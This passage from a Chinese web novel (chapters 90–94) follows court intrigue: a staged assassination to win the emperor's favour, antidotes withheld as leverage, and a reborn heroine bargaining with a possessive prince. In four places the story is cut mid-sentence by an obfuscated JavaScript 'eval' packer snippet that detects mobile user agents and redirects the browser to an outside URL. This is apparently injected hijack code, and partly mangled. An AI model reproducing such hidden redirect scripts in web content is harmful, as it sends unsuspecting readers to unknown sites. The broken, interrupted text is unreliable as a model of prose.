“啪!”姜瑶真抬手狠狠地扇了姜莲一巴掌,将怒火宣泄在她身上:“都是你这个没用的东西!要不是你学得不像,殿下怎么会如此生气?还不快给我滚!别在这里碍我的眼!” 第90章 深夜行刺 第九十章深夜行刺 姜莲被这突如其来的一巴掌打得头昏脑胀,一时之间竟有些反应不过来。 她本想起身离开,可想到母亲临走前的嘱咐。 他们二房如今只剩下她一个女儿,若她没法找到好归宿,她的父母这辈子将老无所依。 于是她忍着疼跪在姜瑶真面前,哀求道:“二姐姐,莲儿知错了,你再给莲儿一个机会吧,莲儿一定会让贵人满意的!” 姜瑶真居高临下地看着跪在地上,眉眼间与姜姝宁有几分相似的姜莲,心底忽然涌起一个恶毒的念头。 “好啊,那我便再给你一个机会。”她嘴角勾起一抹阴冷的笑容,语气森然,“往后,你定要学姐姐学得像一点!” “是,二姐姐!”姜莲战战兢兢地回答。 她一心只想依靠姜瑶真的关系,攀附上一个好人家,从而改变自己的命运,却全然不知自己即将面临的是什么。 —— 萧凌川乘坐马车匆匆赶回宫。 一回到景和宫,他便吩咐宫人往浴桶里放冰。 待浴桶注满冰水,他迅速褪去衣衫,将自己浸泡在刺骨的冰水中。 寒意侵袭,这才稍稍缓解了他体内如烈火焚烧般的痛苦。 七皇子萧琪钰恰好来找他一同去朝会,听说他在泡冰水,又从凌风口中得知他险些再次中了姜瑶真的算计,顿时忍不住冲着他的寝殿大声嚷嚷道:“四哥,依我看,不如让孙神医先研制一些能够克制媚药的方子吧!你这中媚药的次数都快赶上**的次数了!” 寝殿里传来萧凌川咬牙切齿的声音:“你给我闭嘴!” 萧琪钰摇了摇头,又忍不住转头跟凌风抱怨道:“这姜二姑娘怎么总是用下媚药这种老掉牙的伎俩啊?若她换个法子算计人,我还能高看她一眼!上次想让四哥毁姜姑娘的清白,这次又想让四哥毁谁的清白?” 凌风轻咳一声:“她的三妹姜莲姑娘。” “这姜二姑娘,不是自家姑娘她还不愿意霍霍!但愿三哥早点将她娶进门,也好让她去祸害三哥后院那些莺莺燕燕!” 萧凌川在冰水中浸泡了许久,那股燥热的药效却始终无法完全消除,他的脑海中不断浮现出与姜姝宁相关的旖旎画面,挥之不去,让他心烦意乱,几欲抓狂。 萧琪钰生怕萧凌川再耽搁下去,无法按时参加朝会,连忙命人快马加鞭,将隐居宫外的孙神医请了回来。 孙神医不敢怠慢,匆匆赶来,立刻为萧凌川施针,这才勉强压制住他体内那股邪火。 萧琪钰在一旁看热闹不怕事大:“孙神医,要不您炼制一瓶专门解春药的丹药给我四哥,他总是被那些心怀不轨的女人算计下药,再这样下去,我真怕他保不住清白,平白便宜了嫂嫂以外的女人!” 萧凌川恶狠狠地瞪着他。 若目光是刀,那萧琪钰已被千刀万剐了。 孙神医抚着白须哈哈大笑:“这种丹药老夫有现成的,但不能常服,否则会影响身体根本,最终会变得无欲无求!” “那可不行!”萧琪钰和凌风异口同声道,“这药的副作用也太大了!” “孙神医,这样的丹药给我来一瓶吧。”萧凌川主动开口,神色晦暗,“我或许……用得上。” 萧琪钰若有所思:“看来,四哥预感到自己还会遭遇美人计,同为男子,我真不知应该羡慕你还是同情你!” “七弟,”萧凌川凌冽的目光看向他,“若不是顾及我们之间的血脉亲情,我真想将你的舌头割下来!” 萧琪钰惊恐地捂住嘴巴:“四哥,你可千万别冲动!” —— 过了服解药的期限,姜瑶真身上的皮肤开始成片成片溃烂。 她只能躲在房里不敢出去,让婢女春花每日送吃食来。 可那种痛苦折磨得她几经崩溃。 她实在忍受不了,只能穿着斗篷,把全身遮得严严实实,去来福酒楼找姨娘,哀求她能否先将解药给自己服用。 姨娘比划道:“解药我已经服下了!” 她们是母女,都一样把自己的容貌看得比什么都重。 拿到凌风解药的那一刻,都是迫不及待就服下。 萧凌川早就猜中了这一点。 姜瑶真无奈,只能将自己那日自作聪明,想把姜莲送到萧凌川身边,结果弄巧成拙,彻底将他得罪的事告诉了姨娘。 “他竟然命人断了我的解药!”姜瑶真哭得梨花带雨,“娘,这可如何是好?如今我只能终日戴着面纱,不敢以真面目示人,这样的日子,让我如何熬得了一个月啊?” 姨娘心疼不已,用手势告诉她:“别哭了,我去求四皇子!” 她深夜潜入景和宫,跪在萧凌川面前,递给他一张纸条,头几乎要磕破。 纸条上写着:“真儿不懂事,得罪了殿下,还请殿下高抬贵手,将这个月的解药给她,我愿意为殿下做任何事!” 萧凌川似乎早已预料到她会来此求情,淡淡地开口:“既然你如此诚心,那我便给你一个将功补过的机会。” “今夜子时,去储秀宫行刺我父皇,届时,苏美人会挺身而出,为父皇挡刀。记住,千万别真的杀了她,让她受点伤即可。若是她伤得太重,丢了性命,你和你女儿这辈子的解药,就休想再得到了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620112|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姨娘点头如捣蒜,表示她知道怎么做。 夜幕深沉,皇帝正在储秀宫的榻上酣睡。 凝香则侧卧在他身旁,清晰无比。 她在等待着四皇子派来的刺客。 这对于她来说,是一个至关重要的机会,一个能够彻底与三皇子划清界限,从而获得皇帝真正认可的绝佳时机。 很快,一道黑色的身影如同鬼魅般闪入了储秀宫内。 她故意弄出些动静,让侍卫们发现她,惊呼出声:“有刺客!快,护驾!” 皇帝骤然从睡梦中惊醒,双目圆瞪:“发生什么事?” 凝香一副惊慌失措的模样,偎依在皇帝身边:“陛下,有刺客……” 她的话音未落,便看到一道黑影如同离弦之箭般从窗外飞扑而入,直奔皇帝而来。 凝香几乎是出于本能地猛地扑向皇帝,用自己的身体挡在了他的身前:“陛下,小心——” 锋利的刀刃刺入她后背,发出可怖的皮肉撕裂声。 “啊——”凝香发出凄厉的惨叫声,皇帝一惊,一脚踢向那刺客的手。 刺客吃痛,手中的刀子脱手落地,与此同时,听到动静的侍卫们也蜂拥而至,冲进了寝殿内。 刺客见状,立马从另一扇窗离开,消失在夜色中。 皇帝冲着那些惊魂未定的侍卫们怒吼道:“还愣着做什么?还不快去请御医!要是苏美人有个三长两短,朕要你们全部陪葬!” “是,陛下!”侍卫领命而去。 凝香虚弱地躺在他怀里,脸色惨白,像是随时会香消玉殒。 她身上的血腥味也弥漫着异香,这气息闻起来让人有些不安。 “陛下……好疼啊……” 皇帝心疼不已,轻抚她的脸,柔声安抚道:“御医很快就来,朕不会让你有事的!” “妾身……不知道能不能再见到明日的太阳……”凝香克制着疼痛,断断续续道,“可妾身不想临死前还欺骗皇上……” “妾身其实是……三皇子的人……他让妾身在陛下身边侍奉,趁机帮他……吹枕边风……” “你别说了,你说的这些,朕都知道!” “陛下……不怪妾身?”凝香的眼眶中噙满了泪水,一滴晶莹的泪珠从眼角滑落,沿着脸颊缓缓地流淌下来。 “从前朕或许会怪你,”皇帝用指腹轻轻拭去她眼角的泪水,语气温柔而充满怜惜,“可是现在,朕已经不怪你了!你千万不能有事!” 凝香像是再也支撑不住了一般,缓缓地阖上了眼眸。 实际上,她是为了掩盖眼底一闪而过的得逞之色。 第91章 命不该绝 第九十一章命不该绝 凝香替皇帝挡下那一刀,在病榻上足足躺了大半个月,方才勉强痊愈。 待她伤势痊愈,皇帝感念其救驾之功,力排众议,执意要册封她为妃。 御史台的那群老臣们纷纷上书进谏,言辞激烈:“陛下,这后宫的妃子,哪一个不是高门贵女?苏美人出身青楼烟花之地,能够入宫侍奉陛下,已经是天大的福分了,怎能与那些世代簪缨的世家贵女相提并论,平起平坐?臣等以为,给她一个嫔位,已是莫大的赏赐!” 皇帝勃然大怒:“凝香以身犯险,救了朕的性命,难道朕的性命,还不值一个妃位吗?这后宫之中,有哪个妃嫔曾为朕挡过刀?哪个世家,哪个妃子,敢质疑朕的决定?” 大臣们被皇帝噎得哑口无言,最终只能无奈接受了皇帝的决定。 很快,凝香被正式册封为香妃。 她封妃的那一日,熙贵妃在自己的宫里大发雷霆,将宫殿里的东西砸了个稀巴烂。 “一个出身低贱的女支子,也配当妃子?陛下到底有没有把本宫放在眼里?有没有把本宫的母族放在眼里?!” 宫女们吓得魂飞魄散,纷纷跪倒在地,大气都不敢出。 她的贴身婢女小心翼翼地上前,轻声安抚道:“娘娘息怒,切莫为了一个**生气,伤了自己的身子!奴婢刚刚接到消息,说是三皇子殿下剿匪大获全胜,如今已经率领大军凯旋而归,正在返回京城的路上了!届时,陛下一定会对三皇子殿下**行赏。娘娘,您扬眉吐气,重获圣宠的日子就要到来了!” 听到这番话,熙贵妃神色才稍霁。 “一个女支子罢了,要妄想与本宫争宠,简直是不自量力!本宫的儿子,才是所有皇子中最出色的一个,总有一天,本宫会是这后宫最尊贵的女子,届时,本宫一定不轻饶那个女支子!” 宫道上,萧凌川与新晋的香妃凝香迎面相遇。 萧凌川神色恭敬地向她行礼:“见过香妃娘娘!” “四皇子殿下不必多礼。”凝香嘴上说着客气的话,眼中的感激却仿佛要满溢而出,“若不是殿下当初的指点和提携,本宫又怎会有今日的地位?殿下才是本宫的再造之人,对本宫恩重如山!” “娘娘过谦了,这也要娘娘命中有此富贵,才能抓住机会,步步高升。”萧凌川脸上带着一丝意味深长的笑容,他从袖子拿出一个瓷瓶,不动声色地递给凝香,低声道,“接下来,就祝娘娘早生贵子,福泽万千!” 凝香接过瓷瓶,泫然欲泣:“多谢殿下,殿下的大恩大德,本宫没齿难忘!” “对了。”萧凌川桃花眸中闪过一丝晦暗,“我那三哥就要凯旋而归了,娘娘可知接下来应当如何做?” “殿下放心,本宫绝不会让你失望的。” 凝香说完,便不再停留,径直朝着自己的新宫殿走去。 如今,她已是皇帝亲封的香妃娘娘,有了自己的宫殿,再也不用和储秀宫里那群位份低的女人挤在一起了。 这一刀,挨得实在是太值了。 —— 自从萧修湛奉旨西行剿匪,姜姝宁便日日盼着他的死讯。 对皇室而言,这或许是令人扼腕的噩耗,但对她来说,无疑是天大的喜讯,足以让她一解心头之恨。 然而,事与愿违,她等来的却是萧修湛凯旋而归的消息。 他回京那日,京城百姓夹道欢迎,人山人海,锣鼓喧天,都将他视作凯旋的英雄,剿匪的功臣。 姜姝宁隐匿在人群之中,目光死死地盯着那个骑着高头大马,接受百姓的鲜花和欢呼的男人,心中恨意滔天。 “这一世我已经把帮他挡刀的‘阿蒙’送给二皇子殿下了,他怎么还能活着回来?” 到底哪里出了问题? 她百思不得其解。 难道萧修湛如此手段毒辣的人,竟命不该绝吗? 而真正迎来噩耗的是顾家。 据说剿匪当日,顾亦庭义无反顾地冲进匪巢里,被匪徒一剑刺穿胸膛,当场毙命。 听到萧修湛带来的这个消息,顾御史悲痛欲绝,当场晕厥过去。 皇帝感念顾亦庭剿匪有功,不仅赏赐了顾家大量的金银珠宝和田产,还在西榆为他设立祠堂,彰显其功绩。 然而,再多的赏赐和虚名都弥补不了顾家痛失爱子的痛苦。 顾御史一病不起,顾夫人也终日以泪洗面,整个顾府都笼罩在一片挥之不去的阴霾和痛苦之中。 顾晚樱悲痛欲绝,带着一群家仆气势汹汹地来到相府门前,哭闹着要向姜丞相和姜姝宁讨个说法。 凌芜匆匆来报:“大小姐,不好了!顾晚樱带着一群家仆在相府门外喧哗吵闹,口口声声说是您害**她的兄长,要您为顾公子的死负责!” “荒谬!她兄长的死于我何干?”姜姝宁起身,“走,去看看!” 姜姝宁来到相府大门前时,看到姜丞相和姜夫人已站在门口,神色焦灼。 只见门外人头攒动,除了顾晚樱和顾府的家仆之外,还有许多不明真相,凑热闹不嫌事大的围观群众。 姜姝宁正准备上前一问究竟,顾晚樱一看到她,立马指着她控诉道:“姜姝宁,都是你!若不是你,我哥就不会死!” 这毫无理由的指责让姜姝宁有些无语。 “晚樱姑娘,饭可以乱吃,话不能乱说。顾公子是被匪徒所杀,这是人尽皆知的事实,与我何干?” “我哥那样的书生,根本不适合去剿匪,是四皇子请奏陛下,逼他跟着三皇子去的!”顾晚樱边说边落泪,“若不是因为我哥想求娶你,就不会得罪那四皇子,也不会被迫西征,最后客死他乡!” 姜姝宁被她这匪夷所思的逻辑弄得有些哭笑不得。 “晚樱姑娘,你简直强词夺理!首先,你如何证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620113|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明顾公子是因为想求娶我才得罪四皇子殿下的?其次,顾公子奉旨西征,协助三皇子殿下剿匪,乃是陛下亲自下的旨意,我不过一个大臣之女,何来左右圣旨的能力?最后,即便西征剿匪之路微危险重重,可顾公子一介文弱书生,为何要非要冲进那匪巢?难道,这也是我强迫的?” 这接二连三的反问,让顾晚樱顿时有些语塞。 就在此时,人群之中忽然响起一个突兀的声音: “就是这相府嫡长女,她跟四皇子的关系不清不楚,我儿也是因为得罪她,被四皇子雇**死的!她就是个扫把星!只要跟她扯上关系,定会被四皇子所害!” 说这话的正是姜姝宁的二婶姜二夫人。 她面容扭曲,眼神恶毒,一副要将姜姝宁置之死地的模样。 围观的人群听到这话,顿时议论纷纷。 不知谁高喊了一声:“既然四皇子如此在意姜姑娘,姜姑娘何不嫁给他?任由他如此为非作歹,草菅人命,姜姑娘难道不会感到一丝一毫的愧疚和不安吗?” 此话一出,其他人纷纷附和。 “就是就是,当个四皇子妃不也是光耀门楣的事情吗?” 姜二夫人唯恐天下不乱,在一旁煽风点火:“各位不知道,这相府嫡长女眼高于顶,她可不满足于只当个四皇子妃。她呀,就喜欢那些男子们为她倾倒,为她痴狂!这顾家的公子啊,大抵也是被她**于股掌之间的男子之一,只可惜他一片痴心错付,最终落得个客死他乡的凄惨下场,真是可悲可叹啊!” 姜丞相顿时勃然大怒:“弟妹,休要在此胡言乱语!来人,把这些人给我轰出去!若他们再来**,就将他们统统送往官府!” “是,老爷!”护院们纷纷上前,将顾晚樱和她的下人们,以及姜二夫人、围观看热闹的人群都挡到相府门外。 大门关上后,姜夫人急得都快哭了:“宁儿还未婚配,就被如此污蔑,往后可怎么办呀?” 姜瑶真一脸幸灾乐祸:“也不怪他们要说姐姐闲话,这顾公子前脚刚上门跟姐姐议亲,后脚就传来噩耗。这要是传扬出去,不明真相的人,还不得说姐姐是克夫命吗?” 姜丞相怒斥道:“真儿!你还嫌今日的事之事不够糟糕吗?来人,把二小姐送回院子,没有我的允许,不许她踏出院中半步!” 姜瑶真心中不忿,气鼓鼓地离开了,临走之前,还不忘狠狠地剜了姜姝宁一眼。 姜姝宁直接漠视姜瑶真的目光,转头对姜丞相道:“父亲,这事因我而起,我定会给你和姜家一个交代!我现在就进宫,找四皇子问清楚!” “宁儿,父亲是心疼你被人泼脏水,怕你受委屈。如今外面到处都在谣传你和四皇子殿下的关系,说得那般不堪入耳,你还是别再进宫见他了,以免再生是非!” “不,我要见他。”姜姝宁神色笃定,“因为有些问题,只有他才有答案!” 第92章 变着法子占她便宜! 第九十二章变着法子占她便宜! 景和宫内,茶香氤氲,七皇子萧琪钰手执茶盏,终是忍不住开口问道:“四哥,这顾亦庭之事,你怎么看?他一介文弱书生,本就不愿西征,怎么会往匪巢里钻,还被匪徒一剑穿心,当场毙命?此事实在匪夷所思啊。” 萧凌川端起茶杯,轻啜一口,神色淡然:“何止顾亦庭一事匪夷所思,若你仔细查探一番,便会发现,三哥萧修湛此番带去西征的那支军队,伤亡寥寥无几,几乎可以忽略不计!” 听到这话,萧琪钰表情顿时变得凝重起来。 “不应该啊,山匪都是亡命之徒,若三哥真去了他们的老巢进行剿杀,他们势必会拼死反抗,殊死一搏!更何况,匪徒对藏身之地了如指掌,占据地利优势,这必定会是一场惨烈的恶战,三哥带去的兵马,绝不可能只有如此轻微的伤亡。除非……他们根本就没真正交战!” 萧凌川唇角勾起一抹意味深长的笑:“都是自己人,怎么可能打起来?不过演场戏给父皇和朝廷看罢了。” 萧琪钰目瞪口呆:“西榆山上的那群匪徒是三哥的人?他是土匪头子?” “若只是土匪头子还好。”萧凌川笑容逐渐褪去,桃花眸里晦暗不明,“可惜,藏匿在西榆山上的那些,根本就不是什么寻常的土匪,而是……西洲的士兵!” 萧琪钰脸色煞白:“此话当真?三哥他竟然……通敌?!” 就在这时,凌风来报:“殿下,姜姑娘求见!” 听到这话,萧凌川对萧琪钰道:“你嫂嫂来了,你先回避一下。” 萧琪钰有些不乐意:“为何?我也好久没见嫂嫂了,很是想念她!” 上次梅花宴,他都没跟嫂嫂说上话呢! 而且,他也馋嫂嫂做的糕点。 萧凌川冷声道:“你在这里太碍事!” 萧琪钰嘴角微抽:哥,你这眼里只有嫂嫂,是半点也没我这个兄弟啊! “好,我走!”他满脸委屈地朝门口方向走去。 “慢着!”萧凌川叫住了他。 他大喜:“四哥,你改变主意了?” 萧凌川指了指后门:“走后门!” 萧琪钰:“……” 重色轻弟、冷酷无情的四哥! 萧琪钰走后,姜姝宁才被带进景和宫里。 她款步上前,向萧凌川盈盈一拜,还未等他开口,便直截了当地开口问道:“殿下,臣女斗胆一问,此次西征剿匪之事,您不主动请缨前往?” 萧凌川看着她,深邃的眼眸仿佛能洞察人心一般,反问道:“你真正想问的,是没了前世那个替三皇子舍身挡刀的阿蒙,萧修湛为何还能安然无恙,毫发无损地活着回来吧?” “是!”姜姝宁并不打算隐瞒,坦白道,“阿蒙已经被我买下,如今不在三皇子手中。既如此,今生便无人能替他挡下那致命一刀,可他依旧能全身而退,毫发无损地凯旋而归。所以我大胆猜测,这其中定然与殿下您不主动请缨西征有关。” 他们都是重生的,以她对他的了解,只要是有利可图,能博得功劳的事情,他向来都会不遗余力地争抢。 前世的萧修湛西征大捷,不仅得到了封号和封地,还赢得了无数朝臣以及百姓的认可和拥戴,可谓是名利双收。 今生他却放弃了这个唾手可得的立功机会。 难道,是有什么忌惮? 萧凌川看着她神色紧绷的小脸,忽然懒洋洋地开口:“我饿了。” “什么?”姜姝宁以为自己听错了。 谁会在严肃氛围下说出如此不合时宜的话来? “我说,我饿了。”他看着她,如画的眉眼间染上了笑意,“若你能喂饱我,我就为你解答迷津。” 姜姝宁:“……” 真是个讨厌的家伙,变着法子占她便宜! 她皮肉不笑地开口:“殿下放心,只要你肯如实告知,别说喂饱你了,撑死你都没问题!” 萧凌川不怒反笑。 不知怎的,他爱煞了她这幅牙尖嘴利的模样。 “那便做三菜一汤吧!姜姑娘,请吧!” 姜姝宁磨了磨牙,生生咽下心中的不满,往景和宫后厨走去。 萧凌川口味挑剔,前世他们还是夫妻时,很多菜肴她就都顺着他的口味做。 时间一长,把他的嘴养得更刁了。 现在他总嫌弃宫里的厨子做的饭菜寡淡无味。 日日盼着她有求于他,好趁机让她给自己做点吃的,打打牙祭。 萧凌川悄无声息地来到后厨,远远地望着她那道在灶台前忙碌的纤细身影,脸上虽神色淡然如水,心中却早已是波澜起伏。 大多数世家贵女不愿围着灶台转,沾染上油烟之气,她们宁愿将更多的时间和精力,花费在琴棋书画等风雅之事上。 她从前也与别的女子别无二致,可嫁给他为妻后,为了讨他欢心,她甘愿放下身段,主动去学习烹饪饭菜的技巧。 刚成婚那会,他以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620114|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这辈子都不可能对她动心。 可日子长了才知道,五脏六腑被熨帖妥当的滋味有多舒坦。 他甚至开始嫉妒前世的自己,被她这般无条件地爱着。 而如今,那些曾经**以为常、唾手可得的美好,如今只能通过交易才能得到了。 姜姝宁手脚麻利,不但一个时辰,色香味俱全的三菜一汤就做好了。 “殿下,请用!” 萧凌川坐在桌前,递给她一副碗筷:“一起。” “不了,还请殿下尽快用完,早些将答案告知臣女!”她态度客气又疏离。 “不必如此多礼,你且坐下,我们边吃边聊便是。”萧凌川语气中带着一丝不容置疑的坚持。 姜姝宁见他如此执着,心中无奈,只得依言在他身旁落座,默默地端起碗筷,有一口没一口地吃着。 心头却不禁涌起一股难以言喻的怪异感觉。 前世他们还是夫妻时,她每日最盼望的时刻就是一同用膳。 只有这个时候,她才觉得萧凌川是属于自己的。 也不知那样的日子,她是如何熬十年的。 萧凌川见她神色有异,问:“你怎么了?” “无事。殿下,如今您可以告知臣女答案了吗?”姜姝宁敛去心中纷乱的思绪,不动声色地将话题引回了正轨。 萧凌川心口一滞。 他想好好喝她一起吃饭,而她只是迫不及待地想要知道萧修湛为何没有死在西征剿匪的战场之上。 今生,她心中除了复仇,怕是没有多余位置给他了。 他强压下心中的失落,缓缓开口:“我不去剿匪,是因为若是我去,必死无疑。” 姜姝宁看着他,示意他继续说下去。 “无论前世还是今生,萧修湛都不会死在剿匪之战中,因为躲藏在西榆山上、残害大邺商贾百姓的,并非真正的匪徒,而是西洲士兵。” 萧凌川一字一句道,“当年萧修湛的舅舅镇国将军镇守西部边疆时,就已经跟西洲勾结。他们在西榆山上秘密豢养了一支精锐的军队,只是最近资金不足,所以才命士兵频频下山抢夺商贾和百姓的钱财,以解燃眉之急。 此次西征,萧修湛不过是走个过场,做戏给人看罢了,他真正的目的,是为了从父皇手中骗取足够多的钱财,继续豢养他那支私藏的军队。” 姜姝宁只觉得耳朵嗡嗡作响,半天都回不过神来。 萧修湛竟有如此强大又可怕的后盾?! 第93章 这天下和你,我都想要! 第九十三章这天下和你,我都想要! “若三皇子殿下当真有西洲这般可怕的靠山,甚至还拥有一支训练有素的精锐军队,那么前世,你又是如何突出重围,最终压他一头的?”姜姝宁忍不住追问道。 萧凌川目光有一瞬闪躲,但很快便恢复了如常。 “我自然有我的方法和手段,只不过如今时机未到,还不能告诉你。”他有些含糊其辞。 姜姝宁不禁想起前世他和姜瑶真的纠缠以及暧昧不清。 难道是姜瑶真在暗中帮了他? 前世姜瑶真作为萧修湛最宠爱的侧妃,自然有机会接触到他的机密。 若她把这些关于萧修湛的机密情报偷偷透露给萧凌川,萧凌川在对付萧修湛这件事上自然多了胜算。 这个猜测让姜姝宁脊背发凉。 如果连自己心爱的女子都可以算计,萧凌川该是何等冷血的心性? 难怪无论前世今生,他都不曾制止姜瑶真嫁给萧修湛。 原来相比男女之情,他更醉心于权势。 “你想要萧修湛的命,还需多点耐心。”萧凌川的话讲她的思绪拉了回来。他看着她,眼神晦涩,“在此之前,别让任何人察觉到你对他的杀意,明白吗?” 姜姝宁深吸一口气,问出了心底那个问题:“殿下向陛下举荐顾公子随三皇子一同西行,是因为……他想要向我求娶的缘故吗?” 萧凌川别开目光:“顾亦庭是太子的表弟,若是让他知晓了萧修湛与西洲士兵勾结一事,他是绝不可能包庇的,若是由他向父皇揭露此事……” “但殿下其实早就料到,他绝不可能活着回来,对吗?” 姜姝宁问这话时,目不转睛地盯着他,生怕错过他脸上细微的表情。 萧凌川迎上她的目光,澈黑的眼眸宛如平静的海面,毫无波澜:“对。” 他从来不是什么善类,也并不打算隐藏自己的本性。 尽管早就猜到答案,但从他口中得到证实的那一刻,姜姝宁还是有些不寒而栗。 “殿下为何非要置顾公子于死地?” “因为他不自量力,妄想染指不属于他的东西!”萧凌川的声音骤然变得森冷起来,仿佛来自地狱,充满了令人胆寒的杀意,“他决定向你求娶的那一日,在我眼中,就已经是个**了!” 姜姝宁对上他那双偏执又可怖的桃花眼,只觉得一股寒意从她的骨头缝里不断渗出。 “你疯了吗?难道想求娶我的男人,你都不会让他活着?” “对!只要是觊觎你的人,我都不会放过!”萧凌川看着她,眼眸猩红,像是被彻底激怒的兽,“所以,姜姝宁,若你不想我滥杀无辜,就给我安分守己一点,与这天下的所有男子都保持距离,否则,就别怪我大开杀戒!” 姜姝宁难以置信地看着他:“为什么?我不是已经答应过殿下,绝不会成为你夺取天下的阻碍,你又何必……” “姜姝宁,你还不明白吗?”他忽然凑近她,目光幽深又凌厉,“这天下和你,我都想要!” 姜姝宁手中的碗“咣当”一声从手中脱落,重重砸在桌上。 她在他眼中看到了不加掩饰、近乎疯狂的占有欲。 她明白了,这个野心勃勃的男人,即便不爱她,也绝不可能放过她。 难怪前世他以为自己服毒自尽时,如此怒不可遏。 他可以不爱她,却无法容忍她自作主张的离开。 天下和她,他都想主宰! 她看着他,忽然嗤笑出声。 “那殿下可要尽快把三皇子除掉才好,否则,这天下和臣女,都不可能是你的!” 萧凌川眸色晦暗,此刻的姜姝宁看起来很陌生,一种难以掌控的不安陡然袭上他的心头。 “姜姝宁,你又想耍什么花招?” “臣女不敢。”她缓缓站起身,冲他盈盈一拜,“臣女没胃口,先行告退。祝殿下早日得偿所愿!” 眼见她就要转身离开,他心口一紧,起身用力扣住她的手腕,将她抱进怀里。 熟悉的馨香萦绕在他鼻息间,他心口一阵悸动。 她没挣扎,语气平静而疏离:“殿下这是做什么?还没夺得天下,就迫不及待想将臣女据为己有了吗?” “答应我,别嫁给别的男子,好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620115|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他收紧手臂,将她抱得更紧。 他有想过放手的,每当他一想到,她明媚的笑容对着别的男人绽放,她温柔的眼眸里倒映出别的男人的身影,她会依偎在别的男人的怀抱里,与那人耳鬓厮磨, 他就嫉妒得发狂。 无论前世今生,他都想和她纠缠一辈子。 “等殿下君临天下,这天下的女子都是殿下的,臣女自然也不例外。” 她背对着他,他看不到她的表情,但她这番话,如同定心丸一般,让他心中那隐隐的不安消散了几分。 她是愿意留在他身边的,只不过,她要一个保障。 他的帝王之位便是最好的保障。 他将她的身子转了过来,目光灼灼,认真又专注地看着她: “我答应你,今生一定替你杀了萧修湛。等我成为大邺的新帝,便将你风光迎娶进宫。” “好,我等你。”她笑靥如花。 萧凌川情难自已,低头想吻上她的唇。 她害羞躲避,滚烫的吻落在她颊边。 “殿下,别这样。”她推他,“臣女要回府了。” 他这才恋恋不舍地放开她。 “下次我出宫去找你。” “好。” 他目送她离宫,心口涌起一阵甜蜜。 他们这样,算是约定好未来了吧? 重来一世,他总算有机会弥补前世的遗憾了。 可**,踏出宫门的姜姝宁用帕子擦拭着方才他吻过的脸颊,眼底腾升起一丝厌恶。 帝王的后宫那么大,若萧凌川有天称帝,自然不甘心只有姜瑶真一个女人。 他要她,还可能想要更多的女子。 帝王坐拥天下,想要多几个女人,无可厚非。 他唯一的败笔,便是太早暴露出对她的占有欲。 相当于提前给她敲醒了警钟。 她在心里默默道:大哥,放心,等帮你报了仇,我便会离开,去一个萧凌川永远都找不到的地方。 在此之前,她只能先和萧凌川虚与委蛇。 毕竟,他是目前唯一能帮她将萧修湛置之死地的人。 第94章 见色起意,有利可图 第九十四章见色起意,有利可图 姜姝宁回到相府,姜丞相一见她归来,立刻迎上前,急切地问:“宁儿,四皇子殿下如何说?顾公子西行之事,真与他有关?” “是的,父亲。”姜姝宁深吸一口气,目光沉静如水,“他亲口承认,是他向陛下举荐顾公子随三皇子西行。” 她顿了顿,又道,“父亲,母亲,从今往后,你们不必再为女儿的婚事操心。女儿恐怕……此生无法嫁人,否则,只会连累那些前来求娶的男子。” “这……”姜夫人一脸担忧,“这如何使得?宁儿,你一个女子,岁月漫长,怎能一辈子不成婚?” “是啊,宁儿,若那四皇子殿下当真对你有意,想娶你为妃也未尝不可。他毕竟救过你的命。” 不管外界如何传萧凌川,姜丞相始终对他保留着当初他救了自己女儿、并小心维护女儿声誉的好印象。 “父亲,一个因旁人求娶女儿,便心生怨恨,设计将其置于死地的男人,会是一个值得托付终身的良人吗?”姜姝宁对姜丞相道,“况且,这世上也没人规定,救命之恩应当以身相许。” 姜丞相见她态度如此强硬,只能顺着她道:“既然你心意已决,为父也不便勉强。只是,四皇子殿下因顾公子求娶你而设计西行之事,兹事体大,我们必须守口如瓶,以免被有心人利用,徒增祸端。” 